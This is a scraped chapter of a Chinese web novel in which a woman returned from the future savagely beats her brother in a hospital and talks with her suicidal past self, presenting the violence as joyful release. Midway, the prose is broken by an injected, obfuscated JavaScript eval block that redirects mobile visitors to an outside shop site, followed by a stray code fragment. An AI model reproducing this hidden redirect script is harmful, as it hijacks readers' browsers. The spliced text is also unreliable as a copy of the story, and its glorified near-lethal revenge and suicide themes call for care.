1. 第 1 章
    “砰——”

    伴随着一声剧烈震响,病房门被人一脚踹开,满脸不耐烦的年轻男人骂骂咧咧地进来:“沈小花,你要死就快点死,别在那儿装模作样的扮可怜,不要以为你用刀在手腕上划几道就能吓唬得了谁,我长这么大就没见过你这么不要脸的女人,袅袅心地善良不和你计较,不是你把她东西都抢走的理由,真不知道你这么心肠恶毒的女人,怎么会是我的亲妹妹……”

    他把装着外卖的袋子往床头柜上一掷,里面没有包装好的白粥顿时洒落出来,本就不怎么好的卖相更增添了几分难堪,从门开时就被惊动,平静注视着这一切的少女,却只是将目光从糟糕的白粥上面移开,落在男人的脸上,似乎是在确定什么一般问道:“沈随州?”

    “沈袅袅?”

    “沈远东?”

    “陈平茵?”

    她接连报出四个名字,沈随州狐疑地看向她:“你又在发什么疯?难不成这是你的新套路……”

    “我果然还是很讨厌你啊,沈随州。”少女自顾自地说着,声音里有着一种平静的疯感。

    下一秒,她毫无预兆地抓起床头柜上的白粥,狠狠地朝着沈随州砸过去。

    滚烫的白粥扑面,毫无防备的沈随州被烫个正着。

    口中的国骂尚在酝酿,沈小花已经将身上盖着的被子一把掀开紧随白粥扣在男人的身上。

    致盲,然后是一记正中两腿中间,毫不留情的膝顶。

    很难说将劣质包装盒都烫得变形了的白粥,和正中红心的膝顶,哪一记的伤害更高。

    反正不过是眨眼的功夫,沈随州就疼得如同一直被煮熟的大虾,捂着□□痛苦地倒在地上。

    被子掀开,再怎么俊美的脸庞,在痛到变形的时候,也是狰狞而又难看。

    瞧见这一幕的沈小花,却是笑了起来。

    她赤着脚,在沈随州身边蹲下身,伸手拍了拍他的脸庞,好奇地问道:“痛吗?”

    人痛到极致,大脑里反而是一片空白。

    “……为什么?”

    脱口而出的不是辱骂,而是下意识地询问。

    沈随州不明白沈小花为什么会突然袭击自己,毕竟他记忆当中的沈小花,不是怯懦而又软弱,像只地沟里爬出来的老鼠,阴暗地窥探着他们一家人幸福的生活,就是疯狂而又歇斯底里,问他们当年为什么会将她和沈袅袅抱错,问为什么她回家了却不把沈袅袅赶走?

    “为什么?”少女将他的话重复了一遍,突然轻笑起来,她一把抓住沈随州的头发,强迫他抬头,“你居然在问我为什么?你不是调查过我吗?那你应该知道,这就是我的日常啊——

    “突如其来的袭击,毫无理由的暴揍,被打到奄奄一息也是常态。

    “社区走访过多次,警察调解到无可奈何,随便问一个人都知道我以前过得是什么样的日子。

    “你不是好奇我为什么要针对沈袅袅吗?因为这本来是她该过的生活啊!这是她的人生!

    “不过我现在想明白了,你那么爱她,你一定愿意替她受这个苦对不对?”

    她抓着他的脑袋,狠狠地往地上一砸,血从头发里争先恐后地涌出来,剧烈的疼痛和眩晕感让沈随州内心升起难以抑制地恐慌和害怕,他突然意识到,眼前这个疯女人,是真的要杀了他。

    “不、不要,放过我,小花,放过我,我是你亲哥哥……”

    “哥哥?我没有哥哥,你是沈袅袅的哥哥,不是我的哥哥!”

    “砰!”坚硬地脑壳和医院的大理石地面碰撞在一起,发出沉闷的声响。

    血从沈随州的鼻腔和耳朵里涌出来,他发出几乎听不到的求救:“救……救我。”

    “啊!”女人的尖叫惊醒了这栋还算沉静的医院大楼,沈小花被人拉开的时候,躺在地上的沈随州已经几乎要看不出人形,医生慌忙上前检查他的情况,发现人没死之后长舒出一口气开始抢救。

    地上的血流了一地,被人控制住双臂的沈小花抬起头,正对上一双好奇的视线,是那个发现她在对沈随州施暴的病人家属,散乱的头发下面,巴掌大的小脸扬起一抹天真无邪的笑,却将女人吓得一个哆嗦。

    ……

    被约束带控制住手脚的沈小花,在病床上扭了扭自己的身体,发出一声舒服的喟叹。

    她脸上是病态而又满足的笑,显然半点不觉得被当做急性精神病被控制起来是一件多么大不了的事情,反倒是在她的脑海中,一个怯生生又不安的声音,趁着她安静下来小声地问道:“你是谁?你为什么要打哥哥?”

    沈小花忍不住笑道:“你最应该问的,不应该是我为什么在你身体里吗?”

    那道声音的主人似乎这才后知后觉地意识到不对劲的地方,跟着她的思路走道:“那你为什么在我的身体里?”

    “因为我就是你呀!”

    “什么叫我就是你?”

    “你是沈小花,我也是沈小花,我们都是沈小花。

    “只不过你是现在的沈小花,而我是从十年以后穿越回来的沈小花。”

    “那你过得很苦吧?是沈随州对你做了什么不好的事情吗?”

    “我都快把沈随州打死了,你不觉得我是疯子吗?”

    “你、你不是说你就是我吗?我了解我自己,如果不是实在是忍不下去了,是不会做这种事情的,沈随州一定做了什么超出你底线的事情……”

    “呵呵呵……”沈小花忍不住低低地笑出声来,“我说什么你就信什么,不怕我骗你的吗?”

    “啊?”似乎没想到还有这种可能,声音的主人愣住了,她沉默许久,才找补一般地说道:“我、我虽然不知道你是不是在骗我,但我觉得你对我没有恶意,而且,而且,你就算是要夺舍也没关系,我可以把身体让给你,反正,反正我也不是很想活……”

    “ 不许!不许!沈小花你不许死,你给我活下去,知不知道?!”

    像是触动了什么关键词,沈小花突然暴怒地吼道。

    怯生生的声音不明白她为什么发火,有点被吓到,却还是老实巴交地说道:“我、我听你的,好好活,好好活。”

    “这才是乖孩子……”

    沈小花又平静地躺回了床上,好像先前愤怒到几乎将拘束带都挣

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14061114|149264||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    开的人不是她一般。

    “好了,你有什么问题,现在可以问了。”

    得到许可,那道怯懦的声音也鼓足了勇气,她好奇地问道:“你说你是十年后的我,那你能跟我讲讲,这十年发生了什么事情吗?你为什么会那么讨厌沈随州?”

    她用了一个稍微中性一点的词语,讨厌,但看过刚刚沈小花暴打沈随州画面的人都知道,这个从十年后回来的沈小花对沈随州何止是讨厌,简直可以说是恨不得他去死一般的厌恶!

    “我可不单单是讨厌沈随州……”

    沈小花没有直接回答她的问题,反而问道:“不如你先告诉我,你为什么会在医院里,自杀又是怎么一回事?”

    她可从不记得过去的自己自杀过。

    “诶,你是未来的我,你不知道我发生了什么吗?”

    “沈小花”有些不解,却还是回答了她的问题,“我不是装模作样地博同情,我是真的想死,你既然是未来的我,就应该知道,我自从回到沈家以后,就把家里闹得天翻地覆,谁都不幸福,所以我想,如果我死了,大家的生活是不是就会变成原来那样,沈袅袅继续做她的沈家大小姐,没有什么真假千金,只要逢年过节的时候,爸爸妈妈还有哥哥,能想起我就好……”

    她说到后面,声音低低的,语气里透着一股不好意思,有种将自己的小心思揭露出来的羞赧。

    沈小花却怒极反笑,“这就是你的报复?用你的死亡来换他们的愧疚?你觉得以沈家那群人没心没肝没肺的程度,能记得你多久?说不定沈袅袅哭两声,他们还会转过头来怪你死的不是时候……”

    “……我知道。”要坦诚自己的想法很难,哪怕是在另一个自己面前,“沈小花”的声音低落下去,语气里带着茫然,“可我又能怎么办呢?我在所有人的生活里,都是多出来的那个,连亲生的爸爸妈妈还有哥哥都不爱我,讨厌我,除了死,我想不到更好的解决问题的办法……”

    “真天真呐!”沈小花从不知道,自己原来还有那么天真的时候,她忍不住想笑,是那种“这玩意儿真的是我吗” 的笑,她反问道:“你为什么要解决问题呢?直接解决掉制造问题的人不就好咯?”

    “……像你今天这样吗?”“沈小花”沉默片刻后问道。

    “你就说你开不开心吧?”

    “……开心。”“沈小花”不想欺骗自己。

    “哈哈哈哈……我就知道!”

    听到这个回答,沈小花终于确认,这个不太一样的“沈小花”,也同样是沈小花。

    她不是不想这样做,她只是想不到这样做。

    一旦她想到了,意识到了自己还能这样做的时候。

    就会像她一样——

    “我果然还是很讨厌你啊,沈随州。”

    回味着将那一碗滚烫的白粥砸到沈随州身上的画面,沈小花整个人都在抑制不住地颤抖。

    是兴奋,也是灵魂在升华。

    曾经困扰她数年的噩梦,就这么一朝被打破。

    前所未有的快乐让她整个人从后脑勺爽到脊梁骨,连脚趾头都在忍不住地跳舞!